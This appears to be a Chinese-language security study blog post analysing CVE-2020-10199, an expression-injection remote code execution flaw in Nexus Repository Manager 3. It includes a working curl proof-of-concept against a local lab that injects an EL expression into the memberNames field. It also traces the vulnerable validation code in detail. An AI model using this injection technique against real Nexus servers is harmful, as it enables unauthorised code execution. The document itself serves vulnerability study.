针对 Java Web 安全的学习,回顾一下今年的 Nexus Repository Manager 3 远程命令执行漏洞,该漏洞同样属于表达式注入的范畴。
环境搭建
参照 https://github.com/threedr3am/learnjavabug/tree/master/nexus/CVE-2020-10199 搭建漏洞环境。环境搭建完成后,登录账号,获得 CSRF token 和 Cookie 后即可对漏洞进行利用。
利用 poc 进行测试,可以看到报错信息中存在 A369
,很明显我们的 poc 执行成功,相应的表达式被计算。
$ curl --location --request POST 'http://127.0.0.1:8081/service/rest/beta/repositories/go/group' \
--header 'Accept: */*' \
--header 'Accept-Encoding: gzip, deflate' \
--header 'Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' \
--header 'Connection: keep-alive' \
--header 'Content-Type: application/json' \
--header 'Cookie: NX-ANTI-CSRF-TOKEN=0.09815809621167193; NXSESSIONID=7e342efe-c4a5-4931-953a-4680e204b320' \
--header 'Host: 127.0.0.1:8081' \
--header 'NX-ANTI-CSRF-TOKEN: 0.09815809621167193' \
--header 'Origin: http://127.0.0.1:8081' \
--header 'Referer: http://127.0.0.1:8081/' \
--header 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36' \
--header 'X-Nexus-UI: true' \
--header 'X-Requested-With: XMLHttpRequest' \
--header 'Content-Type: application/json' \
--data-raw '{
"name": "internal",
"online": true,
"storage": {
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group": {
"memberNames": ["$\\A{3+33+333}"]
}
}'
# output
[ {
"id" : "FIELD memberNames",
"message" : "Member repository does not exist: A369"
} ]%
漏洞分析
问题的核心还是 ConstraintViolationFactory
这个类出了问题:
package org.sonatype.nexus.validation;
import java.lang.annotation.Documented;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import javax.inject.Inject;
import javax.inject.Named;
import javax.inject.Provider;
import javax.inject.Singleton;
import javax.validation.Constraint;
import javax.validation.ConstraintValidatorContext;
import javax.validation.ConstraintValidatorContext.ConstraintViolationBuilder;
import javax.validation.ConstraintValidatorContext.ConstraintViolationBuilder.NodeBuilderCustomizableContext;
import javax.validation.ConstraintViolation;
import javax.validation.Payload;
import javax.validation.Validator;
import org.sonatype.goodies.common.ComponentSupport;
import static com.google.common.base.Preconditions.checkNotNull;
import static java.lang.annotation.ElementType.TYPE;
import static java.lang.annotation.RetentionPolicy.RUNTIME;
/**
* Factory of {@link ConstraintViolation}s to be used (rarely) for manual validation.
*
* @since 3.0
*/
@Named
@Singleton
public class ConstraintViolationFactory
extends ComponentSupport
{
private final Provider<Validator> validatorProvider;
@Inject
public ConstraintViolationFactory(final Provider<Validator> validatorProvider) {
this.validatorProvider = checkNotNull(validatorProvider);
}
/**
* Create a violation with specified path and message.
*
* @param path violation path
* @param message violation message
* @return created violation
*/
public ConstraintViolation<?> createViolation(final String path, final String message) {
checkNotNull(path);
checkNotNull(message);
return validatorProvider.get().validate(new HelperBean(path, message)).iterator().next();
}
/**
* Bean passing path/message.
*/
@HelperAnnotation
private static class HelperBean
{
private final String path;
private final String message;
public HelperBean(final String path, final String message) {
this.path = path;
this.message = message;
}
public String getPath() {
return path;
}
public String getMessage() {
return message;
}
}
/**
* Annotation to trigger validation.
*
* @since 3.0
*/
@Target({TYPE})
@Retention(RUNTIME)
@Constraint(validatedBy = HelperValidator.class)
@Documented
private @interface HelperAnnotation
{
String message() default "";
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
}
/**
* {@link HelperAnnotation} validator.
*/
private static class HelperValidator
extends ConstraintValidatorSupport<HelperAnnotation, HelperBean>
{
@Override
public boolean isValid(final HelperBean bean, final ConstraintValidatorContext context) {
context.disableDefaultConstraintViolation();
// build a custom property path
ConstraintViolationBuilder builder = context.buildConstraintViolationWithTemplate(bean.getMessage());
NodeBuilderCustomizableContext nodeBuilder = null;
for (String part : bean.getPath().split("\\.")) {
if (nodeBuilder == null) {
nodeBuilder = builder.addPropertyNode(part);
}
else {
nodeBuilder = nodeBuilder.addPropertyNode(part);
}
}
if (nodeBuilder != null) {
nodeBuilder.addConstraintViolation();
}
return false;
}
}
}
可以看到这个类使用了 buildConstraintViolationWithTemplate
函数,而参考知道创宇这篇博文的总结,该函数其实是具有风险的:
在跟踪调试了CVE-2018-16621与CVE-2020-10204之后,感觉
buildConstraintViolationWithTemplate
这个keyword可以作为这个漏洞的根源,因为从调用栈可以看出这个函数的调用处于Nexus包与hibernate-validator包的分界,并且计算器的弹出也是在它之后进入hibernate-validator的处理流程,即buildConstraintViolationWithTemplate(xxx).addConstraintViolation()
,最终在hibernate-validator包中的ElTermResolver中通过valueExpression.getValue(context)
完成了表达式的执行
继续阅读代码,可以看到 buildConstraintViolationWithTemplate
函数会被 HelperValidator
的 isValid
函数调用,而 HelperValidator
会被注解到类 HelperAnnotation
上,而 HelperAnnotation
又被注解到了HelperBean
上。追踪定位 HelperBean
,可以看到在 ConstraintViolationFactory.createViolation
方法中使用到了 HelperBean
, 最终对 ConstraintViolationFactory.createViolation
追踪定位引用:
最后我们 poc 的利用点就在 src/main/java/org/sonatype/nexus/repository/rest/api/AbstractGroupRepositoriesApiResource.java 这个文件内的 validateGroupMembers
函数,该函数会调用 createViolation
函数:
public abstract class AbstractGroupRepositoriesApiResource<T extends GroupRepositoryApiRequest>
extends AbstractRepositoriesApiResource<T>
{
private final ConstraintViolationFactory constraintViolationFactory;
private final RepositoryManager repositoryManager;
@Inject
public AbstractGroupRepositoriesApiResource(
final AuthorizingRepositoryManager authorizingRepositoryManager,
final GroupRepositoryApiRequestToConfigurationConverter<T> configurationAdapter,
final ConstraintViolationFactory constraintViolationFactory,
final RepositoryManager repositoryManager)
{
super(authorizingRepositoryManager, configurationAdapter);
this.constraintViolationFactory = checkNotNull(constraintViolationFactory);
this.repositoryManager = checkNotNull(repositoryManager);
}
@POST
@RequiresAuthentication
@Validate
public Response createRepository(final T request) {
validateGroupMembers(request);
return super.createRepository(request);
}
@PUT
@Path("/{repositoryName}")
@RequiresAuthentication
@Validate
public Response updateRepository(
final T request,
@PathParam("repositoryName") final String repositoryName)
{
validateGroupMembers(request);
return super.updateRepository(request, repositoryName);
}
private void validateGroupMembers(T request) {
String groupFormat = request.getFormat();
Set<ConstraintViolation<?>> violations = Sets.newHashSet();
Collection<String> memberNames = request.getGroup().getMemberNames();
for (String repositoryName : memberNames) {
Repository repository = repositoryManager.get(repositoryName);
if (nonNull(repository)) {
String memberFormat = repository.getFormat().getValue();
if (!memberFormat.equals(groupFormat)) {
violations.add(constraintViolationFactory.createViolation("memberNames",
"Member repository format does not match group repository format: " + repositoryName));
}
}
else {
violations.add(constraintViolationFactory.createViolation("memberNames",
"Member repository does not exist: " + repositoryName));
}
}
maybePropagate(violations, log);
}
}
由于该类是抽象类,我们需要继续分析实现的子类,可以看到 src/main/java/org/sonatype/nexus/repository/golang/rest/GolangGroupRepositoriesApiResource.java,因此我们的攻击基于该类展开。
poc 可以借鉴参考链接中相关博文提供的 poc,或者是借鉴 https://github.com/zhzyker/exphub/blob/master/nexus/cve-2020-10199_poc.py